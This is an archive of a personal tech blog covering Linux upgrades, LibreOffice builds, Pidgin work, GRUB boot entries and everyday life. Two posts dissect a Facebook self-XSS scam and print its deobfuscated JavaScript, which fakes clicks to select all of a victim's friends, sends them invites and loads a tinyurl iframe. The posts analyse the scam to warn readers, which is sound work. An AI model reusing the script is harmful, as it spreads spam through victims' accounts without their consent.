Trying out the LibreOffice build

In case you haven't heard, there was a little fork of the OpenOffice project not too long ago. They can explain the reasons for it a whole lot better than I can, so I'm not going to. Normally, I never built OpenOffice on Gentoo because I knew it would take a darn long time, and the pre-built 32-bit binaries worked well enough. With the fork, I decided to try it out anyway.

It's somewhat easier to do with the instructions for LibreOffice. Download a bootstrapping tarball, and run a few commands. It's not as easy as the usual ./configure; make; make install, but pretty close.

First step is to configure and download all the dependencies. I tried to make it use as many system libraries as I could so as to limit the build size/time. The largest one left was Firefox/xulrunner which seemingly isn't built with the correct flags on Fedora. So that all took up about 2-3GB. Then a "quick" make later, and voila:

It only 4 hours 20 minutes to build. After building, it all took up a mere 7GB or so. It turns out that the install instructions on the Get Involved page are incorrect, but the wiki How to Build page is. So I used make dev-install and everything ends up in ./build/install/. Unlike what it says in the wiki, the makefile does not print the location of the final install. Fortunately, it wasn't too hard to find, in ./build/install/program. Run cd ./build/install/program; . ./ooenv; ./soffice.bin -writer and there you go:

Now I just have to figure out something to contribute.

Another College Puzzle Challenge!

So this weekend was another College Puzzle Challenge. Just as fun as last year, but slightly different.

There were no waves, so we got all the puzzles at the beginning. I guess that has its advantages and its disadvantages. It's somewhat daunting to have so many puzzles to decipher. On the other hand, you're almost never at a loss for something to do. The biggest problem is that it lets some teams finish in three hours!

One upside from last year was that even though the requirements stated Silverlight 3, we didn't really need it. License issues aside, the Moonlight 3 preview is just too crashy to be useful as far as I can tell. For some reason, they got rid of the date&time of last submission, which I found nice before. They did manage to reduce the website issues, even while adding auto-refresh to many pages. It wasn't perfect, but definitely better than last year (though it could be because they actually gave us multiple copies of each puzzle again).

But the best part this year is that we actually solved the metapuzzle. Nowhere near first, but maybe about two hours before the end. Then we even finished all the rest, too! It's too bad they don't show the time, because we really did solve the last one at exactly 11PM, the absolute end of the challenge.

I don't know if this was different from last year, but once you solved the metapuzzle, any further solves didn't seem to count for anything. Since the metapuzzle is the "clincher", I guess that makes sense. So there we are, eighth at UT, and 96^th overall. Moving up from last year!

Jumping on the Fedora 14 bandwagon

Fedora 14 was released just a day or two ago. I figured I'd be cutting-edge and upgrade on pretty much the day it came out.

Of course, as with last time, I'm trying to do so on a laptop with little room for any more stuff. This time though, I tried as hard as I could to get preupgrade to work instead of doing a new install.

The Free Space Issue

/boot

The first issue was, of course, the lack of free space, on both /boot and /. /boot is slightly less than 100MB, meaning I wouldn't be able to fit the install image on it. Fortunately this time, it correctly realized I didn't have room, and set up anaconda to download it after booting.

/var/cache/yum

The RPMs get downloaded to /var/cache/yum before being installed, but I didn't really have enough room for that. What I did have was a 4GB USB key. So I edited /etc/fstab to overlay the key there. I was a bit concerned that anaconda wouldn't mount it when I rebooted, but it did so correctly, so I didn't run into any trouble there.

Now, preupgrade seems to download a separate directory for each repository, then link the files into one large thing. Since the USB key was FAT32, it couldn't really do that linking. Since preupgrade is written in Python, it was easy for me to hack it to copy instead of linking. That was a bit slower and naturally took up double the space, but there was enough on the key for it.

/usr

But then there's the more pressing issue of the space on /usr.

Clearly I'm really pushing it on the free space front here. With the help of Baobab, it was pretty clear where I could find the most "dead" space. These locale files are huge, and a pretty small portion is actually in my usual locale, en_CA. So of course, that was the first thing I axed.

Everything seemed peachy, but it turns out that preupgrade sucks at estimating required disk space. I then removed OpenOffice and kdelibs, and anaconda stopped complaining. However, it still ran out of space, though I managed to clean up some stuff and restart it.

The Download Issue

Preupgrade indicates that it will resume from where it was if you cancel it. While this may be true of the RPMs, it's not of the metadata, kernel image, or installer image. I don't really know why it needs to update the metadata all the time, and I don't really know what it is. But I do know it shouldn't have to download the image every time. The problem is that it wants to check the file size, and then downloads the whole file just to do so. This is to ensure that you have enough space to hold the images on /boot. So if there's enough room, it downloads the file again to place it on the drive!

Since I didn't have enough room on /boot, it had to download the installer image whenever I started upgrade process. Obviously, I didn't want to do that too many times after it failed the first time. So I downloaded the image and placed it on the USB key. Then it was a simple matter of modifying the kickstart file in /boot just before rebooting so that it would specify the right location. The anaconda installer took care of the rest.

The Cleanup

After rebooting, yum thought I had several fc13 packages still installed. I tried rebuilding the database but that really didn't help. I tried writing a small script to pick out the extras and remove them, but then I realized that package-cleanup would do that and do it better. A run with --cleandupes took care of the problem. It also took care of some phantom missing storage space.

Why bother?

So I'm sure you're all wondering why I even bothered, instead of just installing fresh. I'll admit that would have been easier, as with last time. Mostly, I just wanted to see if I could. But arguably more importantly, I was able to see whether I could do the upgrade via a USB key.

In other words, one could get preupgrade to download everything to the USB key and install from there. It wouldn't be too difficult, probably just requiring an option to tell anaconda where the package cache was. It may already exist in the kickstart configuration, but I haven't looked into it. You can already place the installer image on a USB key, as I did above.

Fun at the GSoC Mentors Summit

Last weekend was the GSoC Mentors Summit. As a mentor for the Pidgin, Finch and libpurple project, I attended for the first time this year.

It was pretty interesting and a lot of fun, but I have to say I didn't really feel like much of a geek there! Everyone's either got an iPhone or a Droid, and they've all done awesome stuff. Can you say you've worked on WordPress, used by millions of websites, or Apache, serving even more websites, or RTEMS, running several space exploration instruments and other consumer products, or who knows what else?

Nevertheless, it wasn't like I was totally unknown. There were quite a few people who use Pidgin, even one or two using Finch. Oh, and some Mac users using Adium (using libpurple), too.

The flight was fine, but the weather was a bit disappointed. It would have been nicer to explore a bit more, but at least I got to eat a ton of chocolate. I'll try and write a longer re-cap later.

Nuit Blanche

I probably should have gotten around to finishing this post a while ago, but anyway...

So Nuit Blanche was this weekend. I don't think it was as fun this year as the last time. Of course, the cold was not much fun, but the other time was a bit chilly, too.

I think the main problem was that we didn't plan a route and basically went to whatever seemed close to us. Which turned out to be the more "popular" ones, i.e., those in the downtown core. And it turns out those are not necessarily the best.

Take for example, the synchronizing bug light thing. Strings of lights that supposedly sync up and can be perturbed by the audience. Except it didn't seem to do much, and I've seen it done better.

I think the biggest problem in such crowded areas is the high chance of running into smokers. Obviously, since I don't smoke, I'm not really a fan of second-hand smoke either. And there was way too much of it. That and smoke from stuff that's not a cigarette, if you know what I mean. ;)

The Old Spice Guy

is in ur house, makin' y0u7ub3 commentz...

I lost my badge!

And by that, I mean I gave it back to my manager. Of course, what I really mean there is that work is over!

I'd say it was an interesting experience. So writing documentation is probably not what I'd want to do for a living, but it was OK for a summer job to pass the time.

It's really a Windows shop there, which wasn't great. On the other hand, I don't have a problem with Office. It's really quite nice, especially if you're trying to script it. Don't even ask how to do any scripting in OpenOffice. Conversely, the ribbon was not amazing. It requires too many clicks to do anything and its layout changing is annoying.

So I didn't really say much. I'm just happy to be done work!

Got a Bus Pirate!

Update: The ModemManager rule should really only apply to the USB device, not the TTY. I updated the rule below to be a bit more specific.

Around the end of July, I ordered a Bus Pirate from Seeed Studio. It took about a week to ship, which is pretty quick, I think. I picked it up from the post office on Tuesday.

After opening the package and plugging it in, I was greeted with nice blinky lights, and my computer didn't start smoking, so that was a good sign. However, I seemed to run into a bug, where every few lines or so, the display would be screwed up. I started with minicom, until I found out that I could talk to the bus using screen instead. But the output was still not working. Even if I did something simple like press Enter repeatedly, after 5 or so lines, the prompt would show incorrectly. That was kind of disappointing, since Seeed had put a sticker on it for passing QC, so I thought I had a bad cable or set up something wrong.

But today, I finally hit a stroke of luck. One time, upon connecting, I noticed something writing to the port. The text started with AT... and I of course recognized those as modem commands. I remembered a bug report or blog post about ModemManager messing with (things that look like) serial ports.

ModemManager works alongside NetworkManager to provide support for connecting through GSM and CDMA modems. The problem is that a lot of modems suck and ModemManager needs to probe serial ports to see if it's really a modem. Since I'm on a desktop and I probably wouldn't ever use a modem, I could just remove it, but then what would I do on the laptop?

So I set out to find how to blacklist a serial port from ModemManager. I couldn't just get ModemManager to ignore all Bus Pirates, because it identifies itself as a generic FTDI USB-to-serial converter. While I can let Dangerous Prototypes go for that since it's a little hacking board, I'm sure there are actual companies using an FTDI chip who don't identify their modem devices uniquely. Thus, blacklisting the entire FTDI series was out.

All was not lost however, as ModemManager's blacklist basically works through udev. Because USB device numbers are not static, I was already using a udev rule to give me a static device name for the Bus Pirate (from the Arch Linux wiki). After a quick look at the ModemManager blacklist rules, I found that it uses ENV{ID_MM_DEVICE_IGNORE}="1" to signal to ModemManager to ignore a device.

So, to sum it all up, you need to create a udev rule in /etc/udev/rules.d/98-bus-pirate.rules:

SUBSYSTEM=="tty", ATTRS{idVendor}=="0403",\
    ATTRS{idProduct}=="6001", ATTRS{serial}=="...",\
    GROUP="users", MODE="0660", SYMLINK+="buspirate"

ACTION=="add|change", SUBSYSTEM=="usb",\
    ENV{DEVTYPE}=="usb_device", ATTRS{idVendor}=="0403",\
    ATTRS{idProduct}=="6001", ATTRS{serial}=="...",\
    ENV{ID_MM_DEVICE_IGNORE}="1"

Check the Arch wiki for how to get the proper serial number. The first rule sets up a /dev/buspirate device node link so you have a memorable name to use (instead of /dev/ttyUSB#). It also sets permissions so that it's accessible to the users group. Make sure to add your user to that group and you won't need to be root to use the Bus Pirate. The second rule sets a variable on the USB device so that ModemManager doesn't attempt to probe it.

To connect, just use screen. I set up an alias to run screen /dev/buspirate 115200 8N1 and it works great. Now I just need to get something to hack on with it.

Writing Invites with Scribus

So I recently had to create a whole bunch of invites. Not a huge number like a thousand, but more than enough that I didn't want to make each one individually. Anyway, I decided to make them in Scribus. It's semi-professional, and has grade-A output. After the fact, I'd say that it was a pretty good choice, except for a few annoying wrinkles.

The Good

On the good side, Scribus is really stringent about printing issues (though that wasn't as much of a concern this time). It's really good at getting you to use proper fonts. And I really love the ability to use math in any entry field. OK, this doesn't seem like a lot, but overall it's pretty good, and I don't want to go listing out everything!

The Bad

The reason why I say it's only semi-professional is because of these wrinkles. There was one annoying crash, but fortunately, it went away after an upgrade. The real problems are mostly non-intuitiveness, where things don't happen how you'd like. I'm having a hard time remembering them as I think I've grown accustomed to it all. Actually, one thing I remember is that the style editor acts very oddly. If you're editing styles, the style information never stays in sync with the style you have selected. Nine times out of ten (I made that stat up), stuff will be disabled as if you've selected a built-in non-editable style even when you haven't. Oh, and the undo stack is pretty weird. Why does Scribus seem to think I've edited the document when I just saved and Scribus isn't even in focus!

The Ugly

However, out of all things, I think the most disappointing was the scripting API. I mean, automating stuff was one of the things I hoped to do. I did eventually get that done, but it was not fun getting there, and took way too long.

Originally, I planned to create a template, and then write a script which created a Scribus file for each invite. This idea didn't work out at all as the importing broke stuff. That's OK, because then I had the better idea of using a Master Page, with each invite as a separate page. Scribus has the ability to export each page separately, so this worked out well. I could put everything on the Master Page except the small bit with the name which would be different for each page.

The problems really arise from the fact that the scripting API is not well thought-out. It may use Python, but it's not at all Pythonic. It's not even self-consistent. When you change an object's properties, you can specify its name, or work with the mysterious "selection". That selection could be a whole object, or it could be some text within the object. Sometimes, after calling a function, the selection is gone! Exporting to a PDF involves a PDFfile object, while nowhere else is a class used.

Scribus files seem to be XML, but the scripting API does not take any advantage of that. All you get is a handful of top-level functions, and stuff to modify that mysterious selection. It's really too bad, because with a proper object model, I'm sure you could do some really cool stuff.

The End

In the end, I did end up with a script that worked. It was based of the mail-merge script on the Scribus wiki. It didn't do what I originally wanted, but it did get the job done. And of course, the invites did turn out awesome.

But after trying that, going back to VBA in MS Office was a bit of a relief.

Switching from Gentoo to Fedora

Round about last week, I switched my desktop from Gentoo to Fedora. It took a few days to get everything the way I wanted. But it only took that long because I had lots of data to backup and (selectively) restore, and I only worked in the evenings. Fortunately, a "re-install" is way less painful than Windows, since all you really need to keep is your home directory. I just don't know how Windows users live through it, especially without all their programs in a convenient package manager. I can happily say I have never re-formatted Windows for any reason (and that's not because I don't used it).

I guess there are a few reasons for the switch. I'd say it basically boils down to the following three:

1. Gentoo wasn't updating fast enough for things I wanted. I can't say whether this is a general trend, but at least for packages I wanted, it was slow, and I could see that Fedora was getting those updates.
2. My computer is getting older and packages are getting bigger. It's not been too bad (except for god-awful C++ programs that use Boost), but I don't want to work my system so hard as it gets older.
3. And the most important: I got lazier. Not lazy enough to install Ubuntu though!

I guess I'll see how well Fedora fairs. I've just got an audio bug or two to fix (already reported) and it should be good. Eventually, I should go see if my cx18 works, too.

Deconstructing Facebook spam, Part 2

This is Part 2 of my look into some Facebook spam. First post is here.

Decyphering the code

I was bored, so I tried to decipher the code. What is this \x69\x6E\x6E\x65... stuff? Well, that's easy. It's the hexadecimal representation of the ASCII code for some letters/symbols. Decoding that isn't too difficult. Placing the JS function "alert();" around the text will pop up the text as the browser sees it (once it's decoded the hex into the actual letters.) Don't try it if you don't know how to quote it properly, though. We end up with something like this:

var _0x4168=["innerHTML","app104746576239621_body","getElementById",...];
var variables=[_0x4168[0],_0x4168[1], ...];
void (document[variables[2]](variables[1])[variables[0]]=variables[3]);
...

So there's the variable _0x4168 that contains an array of strings. The next variable variables is also an array of strings taken from the first. In fact, it's probably redundant. I guess it's to make it more obfuscated. Then there's some real code that references variables.

So let's replace all those variables references with the actual values, and we get something like this.

void (document["getElementById"]("app104746576239621_body")["innerHTML"]="<a id=\"suggest\" href=\"#\" ajaxify=\"/ajax/social_graph/invite_dialog.php?class=FanManager&amp;node_id=137354336277359\" class=\" profile_action actionspro_a\" rel=\"dialog-post\">Suggest to Friends</a>");
var ss=document["getElementById"]("suggest");
var c=document["createEvent"]("MouseEvents");
...

OK, so one last strange thing. What's with this ["text"] stuff? It turns out JS has this funky alternative to accessing class members. You can do it the normal way (object.member) or you can treat the object as a dictionary with the key being a string of the name of the member (object["member"]). So here's how the code finally ends up. I left out some other extras like the voids and provided some indenting.

document.getElementById("app104746576239621_body").innerHTML=
    "<a id=\"suggest\" href=\"#\"
        ajaxify=\"/ajax/social_graph/invite_dialog.php?class=FanManager&amp;node_id=137354336277359\"
        class=\" profile_action actionspro_a\" rel=\"dialog-post\">Suggest to Friends</a>";
var ss=document.getElementById("suggest");
var c=document.createEvent("MouseEvents");
c.initEvent("click",true,true);
ss.dispatchEvent(c);
setTimeout(function (){
    fs.select_all();
}, 4000);
setTimeout(function (){
    SocialGraphManager.submitDialog("sgm_invite_form",
        "/ajax/social_graph/invite_dialog.php");
}, 5000);
document.getElementById("app104746576239621_body").innerHTML=
    "<iframe src=\"http://tinyurl.com/253qebf\"
        style=\"width: 800px; height: 600px;\"
        frameborder=0 scrolling=\"no\"></iframe>";

So what does it do?

We can go through this by each line (or something like a line):

1. Look for a certain element on the page, and replace its "inner" HTML with a link called "Suggest to Friends!" with an ID of "suggest".
2. Get the element with the ID of "suggest".
3. Create a mouse event object.
4. Initialize that event object for a click.
5. Dispatch the event. This simulates a click on the previously created link.
6. Call an anonymous function after 4 seconds. This function calls fs.select_all()
7. Call another anonymous function after 5 seconds. This function calls SocialGraphManager.submitDialog.
8. Look for a specific element on the page, and replace it with an iframe of a tinyurl.

So what does it really do?

It should make some sense now. As expected, it's a spammer. The first five steps basically load the "Suggest to Friends" page. It's a bit overly complex, but it gets you there (could have just set document.location to the URI). After four seconds, all your friends are selected, and one second later, the page is submitted, sending the suggestion to all your friends. Finally, it loads an iframe to replace the body section. The TinyURL is gone now, but it was a fake picture of Facebook, with a link that was the so-called second step.

In fact, that second link does go to a marginally legitimate page. It's a Greasemonkey script that periodically checks your friends list and tells you when someone disappears. Now, if you think about it, that really doesn't tell you if someone's blocked you. It tells you if someone removed you from their list. It tells you if someone closed their Facebook account. But it doesn't say anything about being blocked.

The interesting thing is how it gets you. You don't click a weird link, or anything. The user actually has to enter the JS themselves. Now sure, they don't know that, but it's still all them. That's all the more reason to get people a bit more educated when using computers.

Deconstructing Facebook spam

I split this into a couple posts because it's a bit long.

The Pitch

So someone (let's not point any fingers) "suggested" I might like "How to know who blocked me ?", a random Facebook Page. Now, ignoring the bad grammar, I took a look anyway. What we have is this lovely set of instructions:

OK, OK, wait... Those are the instructions? Seriously? Let's point out a few reasons why you probably shouldn't follow those instructions:

1. Haven't you ever received an e-mail with a link (like an e-card, maybe)? It's always "Click link, or try copying this URL into your browser". Why are these instructions "backwards"?
2. What kind of crazy jibberish link is that? OK, so to a lot of people, anything on a computer is jibberish, but this one's a whole different level of jibberish.
3. It starts with "javascript:"!

So you don't know what that last point means? Basically, the part of the URI before the colon defines the protocol the browser uses to communicate with a server (the remote end). "http://" is a regular website, "https://" is a secure website, etc. On the other hand, "javascript:" means "treat the rest of the URI as JavaScript code". So by entering that code, you're really making the browser do who-knows-what. Granted, the instruction did say that it's code, and the step is to "Invite your friends", but why doesn't it use Facebook's standard invite display?

Many questions and oddities means you probably shouldn't do it. But not everyone notices those sorts of things.

About power outages, again

So in case you aren't in Toronto, we had a little bit of a power outage. Downtown, power went out about quarter to 5, though it didn't affect my work's building. But then when we got back home and I was watching Jeopardy!, the power went out in our area too. And it was out for about 1.75 hours, which I think is the longest (local) blackout I've experienced in Canada (barring the day-long one in 2003).

Now I'm sure you remember that previous post about power outages I made. The problem, of course, was that the Hydro One site didn't cover Toronto. Well, things have changed. Toronto Hydro now has a site for power outages.

Of course, there's a different problem now. It's totally broken. Or is it? I could access it with IE7 (which we're stuck with at work), but then it didn't work in Firefox at home. For me, that's basically broken. Had I not tried it at work, I would have dismissed it as useless.

Having peeked at the source of the website, I'm quite unimpressed. "JavaScript" / "javascript"? Capitalized HTML tags? <meta content="MSHTML 6.00.6000.16788" name="GENERATOR" />? Hello, Toronto Hydro? It's 2010. Who writes real websites in MS software? I'm surprised they even managed to get Google Maps there, with the junk they have for the rest of the site.

So apparently, they haven't heard of case-sensitivity (a symptom of living on Windows). The link on the main page uses ALLCAPS, which IE7 will ignore and lowercase, but Firefox doesn't. Then for whatever reason, their horrible JavaScript fails to load the Google Maps API. Sometimes it will pop up an error, but usually it just sits there with a big blank space where the map should be. If you lowercase the URI and go to that in Firefox, then it all loads fine (the link above is already corrected.)

And then you go a little further through the source... and what's this? The map data for outages is inlined in the webpage? That explains why it goes and refreshes the entire page every once in a while. You wouldn't do that with proper AJAX.

Technical reasons aside, is it any good? Well, after seeing the HydroOne site, I wouldn't say so. It'd be nice to see the border of Toronto Hydro's jurisdiction, but that's kind of minor. Really though, it's just a map with some patterns on it, which tells you whether it's a big or small problem, but not much else. It says the "start of the outage", but not when it was fixed, or even if it was fixed. Unlike the HydroOne site, there's no indication whether repair crews have been dispatched, or whether the cause is known. Even better would be an estimate of how long it might be till the problem's fixed, though the HydroOne site doesn't seem to have that either. (I'm a bit jaded from the horrible code.)

Someone needs to go hit them on the head with some real Web 2.0 design, and then maybe think about what someone might want to know when the power goes out.

Feeling a little unsteady?

That is to say, did you notice the earthquake?

I almost didn't recognize it. Since I'm working from home due to the G20, I don't have the benefit of a tall building that would react to the movement (if you want to call it that.)

Anyway, thanks to Elizabeth's favourite Web 2.0 app, Twitter, check out this cool USGS site, over here. Realtime data about earthquakes all over the globe. What's really cool is this Did You Feel It? map where people can report what they felt, and it graphs it over the region.

Now if only they could fix the text encoding in their database. The website appears correctly in UTF-8, but some accented characters from some fields are incorrect. Ah, well...

Look! There! A New Graduate!

So right about now, I should have just received my diploma. Which means this post is coming to you via a new-fangled technology that creates posts directly from my brain.

Or, well, maybe that's not a reality just yet. It's more of a thing called scheduled posting.

Anyway, back to the real topic. Convocation is today! Four + PEY years of studying and sleeplessness have come to an end. Sure, it was painful at times, but I still think it was a lot of fun. But now, it's time to move onward to bigger and better things, I hope.

We'll just have to see whether that comes true, won't we...

Off to work I go...

Yep, that's right. Work. In the summer!

Well actually, I started on last Wednesday, though I haven't really done too much yet. They don't have a proper laptop for me yet, so I can't login and don't have email. Which turns out to be pretty limiting, actually. The temporary computer doesn't have access to most of the (internal) network, for stuff like printers and such. Basically, I've just been reading random documents in the meantime.

I'm not doing anything too glamorous, though. Pretty much writing documents. Apparently, they seem to think I was good at that.

Oh yes, I forgot to mention where! At Merrill Lynch.

Upgrading to Fedora 13

Well, this didn't go as smoothly as the live USB versions, mostly due to preupgrade.

I don't have a "standard" install, you might say. This is on a laptop that's not mine and Fedora is not the primary OS. So it's very space-constrained. I don't even have the recommended 200MB (now the recommendation is a whopping 500MB) space for /boot. Personally, I think that's a ridiculous amount of room to hold a kernel and initrd (even if they are generic), but that's the default install size.

So the problem is that preupgrade downloads everything to /boot, but I don't have enough room for it. The other problem is that preupgrade didn't bother to tell me either. There are some bug reports for it already, but I'm pretty sure it worked for F11->F12, so it's an annoying regression.

Fortunately, that preupgrade page has instructions for setting up the correct grub command line. I had enough room for the kernel and initrd, but not the install image. I'm not sure if it's because the downloader failed to notice it ran out of space, but the installer wouldn't auto-download the install image. I had to set a URL source, find a mirror, and point it to <mirror>/releases/13/Fedora/i386/os/.

So I've got the installer image set up and everything's good to go, right? Well, no. In the end, my space-constrained root didn't have enough room to upgrade. Oh well, might as well see how nice a full install looks. I still remember what I had installed well enough to tweak it after.

How did that go? It was pretty nice and simple, actually. The only problem I ran into was that it didn't figure out my boot loader configuration. I don't know why that is, but replacing it seemed to have worked. The only hiccup was I didn't remember which partition should have been Windows. It would have been nice if it had shown partition labels.

Anyway, after dropping stuff I didn't need (who needs all graphics drivers on a laptop?), and installing all the stuff I could remember (like devel packages), I ended up with 1.2G free. I even have OpenOffice installed this time. I don't know how I managed to go from ~100M to 1.2G, but that's definitely a great improvement.

Upgrading Linux images...

So there's been quite a few new releases of distributions recently. Last month, there's been Ubuntu 10.04 and Linux Mint 9. This month it's Fedora 13.

Anyway, I just updated my live boot drive with all of those and everything works pretty well.

Coming soon, to a Pidgin near you...

Direct connections for MSN! What do I mean? Just take a look at the screenshot below.

What's that? You don't see it? Just take a look at how fast it's going. Yes, that's right; it's not a pitiful 10KiB/s, but about an order of magnitude faster.

It all started with this little patch on trac. But it required a lot of work to get it going. I must have made at least 60 commits just fixing things and getting it to cooperate with aMSN and the official client. I think it should be good now, but you can always disable it in the Account options. It even makes buddy icon and custom emoticon loading faster.

Anyway, I promised I would say something about 2.7.1, and here you go. Direct connections will be in 2.7.1. In fact, I'm just about to push all the revisions.

Branchifying Revisions in Monotone

Have you ever started committing things in Monotone and then realized "This should probably go in a separate branch"? It's somewhat difficult to fix that. You can add a new branch cert, but the old one won't go away.

I wrote a little script based on a mailing list message I saw. It removes the old branch cert, and adds the new one, moving forward along revisions. It even changes merges with "the rest" into propagate messages instead. There are limitations, though. It only works with linear history (but if you've been working alone, that shouldn't be a problem) and it requires mtn 0.45 (since it uses the binary cert format.) Of course, it goes without saying that if you've shared any of your changes with someone else, then this is pointless (or you'd have to change everyone's database.)

It's pretty short. Make sure those SQL statements don't break up when you copy it.

#!/bin/bash

set -e

DB=db.mtn
KEY='someone@domain.com'
START=0123456789abcdef0123456789abcdef01234567

OLD_BRANCH='com.domain.main'
NEW_BRANCH='com.domain.fancy-stuff'

prev=
curr=$START
while [ -n "$curr" ]; do
    echo "Changing revision $curr"

    mtn --db=$DB db execute \
      "DELETE FROM revision_certs WHERE hex(revision_id) = upper('$curr') AND name = 'branch';"
    mtn --db=$DB -k$KEY cert $curr branch $NEW_BRANCH

    parents=`mtn --db=$DB automate parents $curr`
    if [ `echo "$parents" | wc -l` -eq 2 ]; then
        # Fix a merge
        echo "Fixing merge for $curr"
        mtn --db=$DB db execute \
          "DELETE FROM revision_certs WHERE hex(revision_id) = upper('$curr') AND name = 'changelog';"
        other=`echo "$parents" | sed -e "/$prev/d"`
        mtn --db=$DB -k$KEY cert $curr changelog \
"propagate from branch '$OLD_BRANCH' (head $other)
            to branch '$NEW_BRANCH' (head $prev)"
    fi

    prev=$curr
    curr=`mtn --db=$DB automate children $curr`
done

Pidgin 2.7.0 Released!

So it seems like I only post about minor releases (as opposed to micro), but I promise that I'll definitely say something about 2.7.1.

Anyway, Pidgin 2.7.0 should be released pretty soon now. You may or may not know that the release versions are dictated by API/ABI requirements. A minor release means we've added API. I wouldn't say there are tons of new user-visible features in this release, but definitely some developer-related things.

Most importantly, we dropped support for old GTK+ and GLib, requiring 2.10.0 and 2.12.0 respectively. Visibly, that means we can't support Windows 98 anymore, but I think we can say that's an acceptable loss by now. For development purposes, though, that means a ton of code that can be removed. It means a lot less code that needs to be maintained. We also were able to upgrade some things like from EggTrayIcon to GtkStatusIcon, which is better at integrating into the notification area.

Don't worry; it wasn't all development changes. We've also got integrated Mood setting. This interfaces to ICQ and XMPP, so I don't know too much about it. More in my area, MSN gained support for file transfer previews, which show up in the request window and the conversation.

There are quite a few other changes that I don't really even know about, so you might want to check the ChangeLog.

Mentoring a student for GSoC

So last week the accepted proposals for GSoC were announced. Pidgin was given 4 slots.

First up, we have Ivan Komarov working on improving ICQ. I don't really use ICQ, so I can't say much, but if you do, hopefully there'll be a lot of great things coming out of it that will be useful to you. Next up is Adam Fowler working on a better chat log viewer. People really seem to complain about what we have now and at the very least, it's kind of slow once you have a lot of logs, so there should be room for some good improvements there. And then we have Gilles Bedel working on detachable libpurple sessions. I'm not sure how often I'd use it, but every once in a while, I feel like checking in on Pidgin from the laptop and it's a very painful process through SSH and D-Bus. This project should make that sort of thing much simpler. Finally, we have Jorge Villaseñor Salinas working on refactoring MSN.

So that last one is the one I'm mentoring. Personally, I've been wanting to re-write bits and pieces of the MSN prpl for a while now, but I've never had the time to get around to it. Jorge's already done some great work getting custom smiley support working for Pidgin 2.5.0. I'm sure he'll have no problem re-working the MSN prpl. I'm looking forward to getting a more structured and (hopefully) well-designed prpl which should make development a lot easier and quicker.

Confusing hallways...

Have you ever been in a building and just got totally confused? Like where in the world am I going through this hallway?

I don't mean that it's a little weird. Sure, Bahen is a bit weird, but only because it's basically a building on top of another one. It's not really all that confusing. MedSci's also a bit weird, with that extra lecture hall (that we had ECE253 in) in a separate half for some reason.

No, what I'm talking about is the Benson building. We just had an exam in there a couple days ago. I don't really get that building. If you've ever had an exam there, you'll know what I mean.

There are two sets of doors, but you can only enter (for an exam) through the ones closer to the intersection. When you get in, there are stairs on the left, just in front of you. But if you go forward just a little, there are more stairs to the right in a nearby hallway. Eventually you can get upstairs after going through several floors and half-floors and what not.

Finding a washroom isn't all that easy either. On the third floor, the women's washroom is about halfway down the hall from the gym, but the men's is hidden. You go all the way to the end of the hallway and there's some sort of cafeteria in front of you. Immediately to the left of the hallway are more stairs (that go in the opposite direction). The men's washroom is in the little nook just a bit farther left between the end of the building and the stairs. It's confusing just trying to describe it. Anyway, I missed it once as I thought that was where the elevator would be (but apparently there isn't one). So I went down the stairs instead and all that was there was the second set of doors. And apparently, all you can do is exit!

Yep, I just don't get it.

Bye Bye Thesis!

Soo, I guess Thesis is finally done!

Last Friday I handed it in to the EngSci Office to get put in the "special" envelope, and today I dropped it off to my professor. Here it is in its wrapped-up glory (which is, in all honesty, not that exciting.)

Silly me, though, I didn't take a picture of the final blue-cover version. It must have been the relief of getting it printed and bound with 5 minutes to go. Maybe I can get some 1T1 to borrow it from the library some time.

Now, I guess I'd have to say, in all honesty, it probably doesn't say much, really. Sure, I managed some results, but they definitely could have been better. However, one thing that I do know, is that it looks awesome thanks to LaTeX. Just check out this lovely (inside) title page and first chapter (fonts are slightly off since I used convert to make these PNGs):

Iron Ring!

Just got it yesterday!

Just a few more months until graduation; isn't that amazing...

Canada for the Gold!!

So, I guess Shaun Majumder was right...

Booting multiple Fedora images from USB

Well, I've been trying to boot Fedora from ISO, but haven't exactly been successful. On the bug, you can see a possible fix, but it's a bit complicated and requires messing with the image from an existing install.

Instead, I figured out a way to do it that uses the extracted files. It's pretty simple. First, mount the ISO and extract three files:

1. the LiveOS image: squashfs.img and possibly osmin.img,
2. the compressed kernel: vmlinuz0, and;
3. the initial ramdisk initrd0.img

In case you were wondering, the copies in the EFI and isolinux directories are the same. You can then place all these files in a subdirectory on the drive. Then you add an entry to GRUB pointing to the files. In this case, I placed the files in /boot/F12-$arch and the drive's label is LiveLinux.

menuentry "Fedora 12 32bit" {
    linux /boot/F12-i686/vmlinuz0 root=live:LABEL=LiveLinux \
        live_dir=boot/F12-i686 rootfstype=auto ro liveimg quiet rhgb
    initrd /boot/F12-i686/initrd0.img
}

BBC Olympics Ad Spot

I really like this one...

It's all black & white and in that great sort of style like Samurai Jack (normally in colour, but sometimes there's a black&white sequence or whole episode). What's also great about the ad is that it tells a story, interweaving various winter sports into it.

I also like the music. I've been wondering where I heard it before, and it's actually from the beginning of Michael Bublé's version of Cry Me a River. I'm not actually sure how well it fits in with that song, but it's great in the ad.

XMPP, meet Facebook...

So, it seems the Facebook has finally added support for logging in to their Chat via XMPP. This is, of course, awesome so people stop asking about it, but also terrible since it took them so darn long. That meant a lot of horrible hacks just to get it working in the interim. (No offence Eion, I just mean the scraping, not the code.)

This announcement comes straight from the developer blog. You need to have set up a username (which you can check here). Casey's blog has all the screenshots you need to figure it out. The only downside is it doesn't use encrypted streams.

The biggest problem, though? Having to organize a few hundred buddies into their correct contacts.

Booting recovery images from USB

So, I'm still trying to figure out the Fedora boot, but in the meantime, I tried to figure out how to boot from a few recovery systems.

First off, let's try Parted Magic. This one is pretty simple since they provide a "USB" version. If you extract that, you'll find a boot and a pmagic folder. Copy the pmagic folder to the USB drive. In boot/grub/grub.lst, you'll find a whole bunch of boot options. I only chose the default and failsafe versions for my USB, but some of the others might be useful for you. For GRUB2, however, it'll look a little different:

menuentry "Parted Magic (Default)" {
    linux /pmagic/bzImage edd=off noapic load_ramdisk=1 prompt_ramdisk=0 \
        rw vga=791 loglevel=0 max_loop=256 keymap=us
    initrd /pmagic/initramfs
}

menuentry "Parted Magic (Failsafe)" {
    linux /pmagic/bzImage edd=off acpi=off noapic load_ramdisk=1 \
        prompt_ramdisk=0 rw vga=normal nolapic nopcmcia noscsi nogpm \
        consoleboot nosmart keymap=us nosshd nosound max_loop=256
    initrd /pmagic/initramfs
}

Second, you'll probably want memtest. The memtest page has a "Pre-Compiled Bootable Binary" which works just fine. You can also find memtest in the PartedMagic package. Whichever one you choose, it can just be placed directly on the USB drive. The line in GRUB2 is not exactly the same for memtest since it's 16-bit:

menuentry "Memory test (memtest86+)" {
